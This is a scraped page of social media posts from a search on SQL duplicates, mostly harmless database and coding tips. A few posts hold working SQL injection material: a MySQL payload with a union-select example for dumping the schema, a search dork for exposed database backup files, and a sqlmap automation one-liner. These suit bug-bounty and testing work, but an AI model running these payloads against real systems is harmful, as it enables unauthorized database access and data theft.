#sql_find_duplicates résultats de recherche

llama

3 nov. 2024

“how to find duplicates in a list python”

💉 SQL Injection is a P1 vulnerability and can easily help you earn $$$$ However, finding/exploiting one manually is tricky. That's where SQLmap helps us. Here's a list of highly efficient SQLmap commands which you can use to hunt for SQL Injections 🧵👇

thebinarybot's tweet image. 💉 SQL Injection is a P1 vulnerability and can easily help you earn $$$$

However, finding/exploiting one manually is tricky. That's where SQLmap helps us.

Here's a list of highly efficient SQLmap commands which you can use to hunt for SQL Injections 🧵👇

VarunPrasannaGowda ವರುಣ್ ಪ್ರಸನ್ನ ಗೌಡ

@Varunprasannag1

8 h

Day 1 of #21DaysSQLChallenge with @indiandataclub & @dpdzero Today’s mission: List all unique hospital services using SQL Query: SELECT DISTINCT(service) AS Services FROM hospital.patients; SQL isn’t just code - it’s data storytelling. Let’s turn rows into revelations.

Varunprasannag1's tweet image. Day 1 of #21DaysSQLChallenge with @indiandataclub &amp; @dpdzero Today’s mission: List all unique hospital services using SQL

Query:
SELECT DISTINCT(service) AS Services
FROM hospital.patients;

SQL isn’t just code - it’s data storytelling. Let’s turn rows into revelations.

😱 Brian Morearty

@BMorearty

15 avr. 2020

It's so nice to find the right set of tools for a problem! I wanted to diff two huge SQL dumps and visually scan to confirm that they're different in the ways I expected. $ dwdiff -c -P a.sql b.sql

BMorearty's tweet image. It's so nice to find the right set of tools for a problem! I wanted to diff two huge SQL dumps and visually scan to confirm that they're different in the ways I expected.

$ dwdiff -c -P a.sql b.sql

Rodolfo Assis

@RodoAssis

17 juil. 2018

#MySQL #SQLi Full database dump in one shot. make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) Usage Example: -1 union select 1, HERE, 1--+

RodoAssis's tweet image. #MySQL #SQLi
Full database dump in one shot.

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Usage Example:
-1 union select 1, HERE, 1--+

./Mr-Dark

@Mr_Dark55

28 déc.

intitle:"index of" "back.sql" OR "backup.sql" OR "accounts.sql" OR "backups.sql" OR "clients.sql" OR "data.sql" OR "database.sql" OR "database.sqlite" OR "users.sql" OR "db.sql" OR "db.sqlite" OR "db_backup.sql" OR "dbase.sql" OR "dbdump.sql" OR "dump.sql" OR "mysql.sql" OR

Mr_Dark55's tweet image. intitle:"index of" "back.sql" OR "backup.sql" OR "accounts.sql" OR "backups.sql" OR "clients.sql" OR "data.sql" OR "database.sql" OR "database.sqlite" OR "users.sql" OR "db.sql" OR "db.sqlite" OR "db_backup.sql" OR "dbase.sql" OR "dbdump.sql" OR "dump.sql" OR "mysql.sql" OR

D4NGLZ

@GroovySolutionz

10 h

This report passed initial check of de-duplication well over a month ago, when I had several other reports submitted in the same week come back duplicate. That's fine, I'm not complaining about submitting a report and it being duplicate.

GroovySolutionz's tweet image. This report passed initial check of de-duplication well over a month ago, when I had several other reports submitted in the same week come back duplicate. That's fine, I'm not complaining about submitting a report and it being duplicate.

codervish

@codervish

13 oct.

yet semicolon ending statements/languages are bashed almost everyday

Ashutosh Maheshwari

@asmah2107

1 nov.

Database stuff I’d study if I wanted to understand scaling deeply: Bookmark this. B+ Trees LSM Trees Write-Ahead Logging Two-Phase Commit Three-Phase Commit Read Replicas Leader-Follower Replication Partitioning Query Caching Secondary Indexes Vector Indexes (FAISS, HNSW)…

asmah2107's tweet image. Database stuff I’d study if I wanted to understand scaling deeply:

Bookmark this.

B+ Trees
LSM Trees
Write-Ahead Logging
Two-Phase Commit
Three-Phase Commit
Read Replicas
Leader-Follower Replication
Partitioning
Query Caching
Secondary Indexes
Vector Indexes (FAISS, HNSW)…

Klaas

@forgebitz

31 mars

i have found two duplicated uuids: 0b67ac1e-4876-46b9-9801-d2152da13f7f 0b67ac1e-4876-46b9-9801-d2152da13f7f i recommend removing this uuid from your database we are monitoring the situation closely

Justin J Williams

@jjza

1 nov.

Hidden problem of data duplication and then incorrect tagging. Create clarity about the data sets.

Coffin

@coffinxp7

11 juin 2024

try this amazing SQLi oneliner automation: subfinder -d testphp.vulnweb.com -all -silent | gau | urldedupe | gf sqli >sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agent | tee -a sqli.txt

coffinxp7's tweet image. try this amazing SQLi oneliner automation:

subfinder -d testphp.vulnweb.com -all -silent | gau | urldedupe |
gf sqli &gt;sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2
--level 5 --random-agent | tee -a sqli.txt

Tobias_Petry.sql

@tobias_petry

29 oct. 2021

⚡️ Database Tip Sometimes you want to make columns unique but you can't because e.g. there are still soft-deleted rows in the table witht the same value. By only including relevant rows (partial index) you can still enforce uniqueness, and you can even simulate it for MySQL!

tobias_petry's tweet image. ⚡️ Database Tip

Sometimes you want to make columns unique but you can't because e.g. there are still soft-deleted rows in the table witht the same value. By only including relevant rows (partial index) you can still enforce uniqueness, and you can even simulate it for MySQL!

Data Science Dojo

@DataScienceDojo

31 mai 2023

💥 Here's an amazing SQL cheat sheet! hubs.la/Q01RqzNV0 #SQL #CheatSheet

Cory House

@housecor

27 janv. 2024

Problem: Your code base probably contains a lot of copy/pasted code, but it's hard to find. Solution: jscpd jscpd is a command line tool that finds copy/pasted code and reports specific duplicated lines. Works for over 150 languages. Example report:

housecor's tweet image. Problem: Your code base probably contains a lot of copy/pasted code, but it's hard to find.

Solution: jscpd

jscpd is a command line tool that finds copy/pasted code and reports specific duplicated lines.

Works for over 150 languages.

Example report:

Madza 👨‍💻⚡

@madzadev

10 oct. 2022

Simple JS way to check for duplicates in the array 👇👇

Jessy 💻🤍

@jessytech23

4 h

🚀 Desafio iniciado: 100 dias de MySQL 📅 Dia 59/100 📚Revisão MySQL - Conceitos Básicos 🔍 LIKE '%texto%' → busca por padrões (use % e _ como curingas) 🧹 DISTINCT → elimina duplicados no resultado 🏷️ AS → cria apelidos para colunas ou tabelas 💡100DaysOfSQL #MySQL